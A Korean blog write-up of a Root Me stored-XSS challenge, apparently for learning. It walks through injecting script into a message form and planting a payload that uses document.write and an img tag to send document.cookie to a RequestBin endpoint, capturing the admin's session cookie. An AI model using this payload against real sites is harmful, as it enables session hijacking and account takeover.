문제를 보면 form이 있는 평범한 웹페이지가 나온다.
XSS와 관련이 있을거라는 생각에 스크립트를 넣어본다.
이 코드가 작동이 된다면 이 웹페이지는 사용자가 script를 삽입할 수 있다.
잘 된다. 따라서 이 웹 페이지에 적절한 코드를 삽입하면 Admin의 정보를 얻을 수 있다.
또한, 시간이 좀 지나면 내가 올린 글을 읽었다는 알림이 나온다.
즉, Admin이 이 웹페이지에 들어와 내가 쓴 메시지를 봤다.
이 Admin의 세션 쿠키를 탈취해야 하므로 Admin이 접속을 했을 때 다른 사이트에 접속하게 만들어 해당 세션 쿠키를 얻어야 한다.
따라서 img를 이용한다.
img를 이용하는 이유는 img태그에 있는 src때문이다. 누군가 웹 페이지에 접속하여 img를 로딩해야 한다면 src에 있는 링크에 접속해서 img를 가져와야 하기 때문이다.
img 태그에 특정한 주소를 넣어 Admin이 접속하는 순간 img 로딩을 위해 해당 주소에 접속하게 된다.
웹 서버를 직접 구현해도 되지만 간편하게 사용할 수 있는 사이트를 이용한다.
RequestBin — Collect, inspect and debug HTTP requests and webhooks
이 사이트를 이용하면 간편하게 임시 웹 서버를 사용할 수 있으며 해당 서버에 접속하는 정보를 얻을 수 있다,
이 사이트에서 임시 서버 주소를 얻는다.
해당 주소의 뒤에 querystring(test)을 작성해서 서버에 접속하여 테스트 해본다.
이후 inspect에 접속하여
해당 주소의 접속 정보를 확인할 수 있다.
테스트용으로 작성했던 test를 잘 전달받았음을 확인할 수 있다.
따라서 아까 그 웹사이트에 이 사이트로 접속을 유도하는 img태그를 삽입하고 querystring으로 사용자의 cookie를 전송하게 만들면 된다.
<script>document.write("<img src='임시 서버 URL?"+document.cookie+"' />");</script>
위의 코드를 웹 사이트의 메시지 칸에 삽입하면 된다.
document.cookie를 통해 현재 접속한 사용자의 cookie값을 얻어서 임시 서버의 URL의 뒤에 querystring으로 그 값을 전송하도록 한다.
해당 URL을 img태그의 src에 넣어 접속과 동시에 해당 URL로 접속을 유도한다.
이 img태그는 document.write를 이용하여 document에 삽입한다
send 버튼을 누르게 되면
위와 같이 이미지 파일이 잘 입력되었다는 것을 알 수 있다. (다시 해보다가 title을 get으로 했지만 중요한 것은 아니다. 중요한 것은 img가 잘 삽입되었다는 것이다)
페이지 검사를 통해 HTML을 보면
img태그가 잘 삽입되었다.
이 상태에서 조금 기다리게 되면 Admin이 접속하여 이 img를 보게 될 것이며 Admin의 cookie값이 임시 웹 서버에 전송 될 것이다.
requestbin을 보면 Admin의 Cookie를 확인할 수 있다.
'보안 > Root Me' 카테고리의 다른 글
Root Me: Javascript - Webpack (0) | 2022.03.09 |
---|---|
Root Me: Javascript - Native code (0) | 2022.03.09 |
Root Me: Javascript - Obfuscation 3 (0) | 2022.03.08 |
Root Me: Javascript - Obfuscation 2 (0) | 2022.03.08 |
Root Me: Javascript - Obfuscation 1 (0) | 2022.03.08 |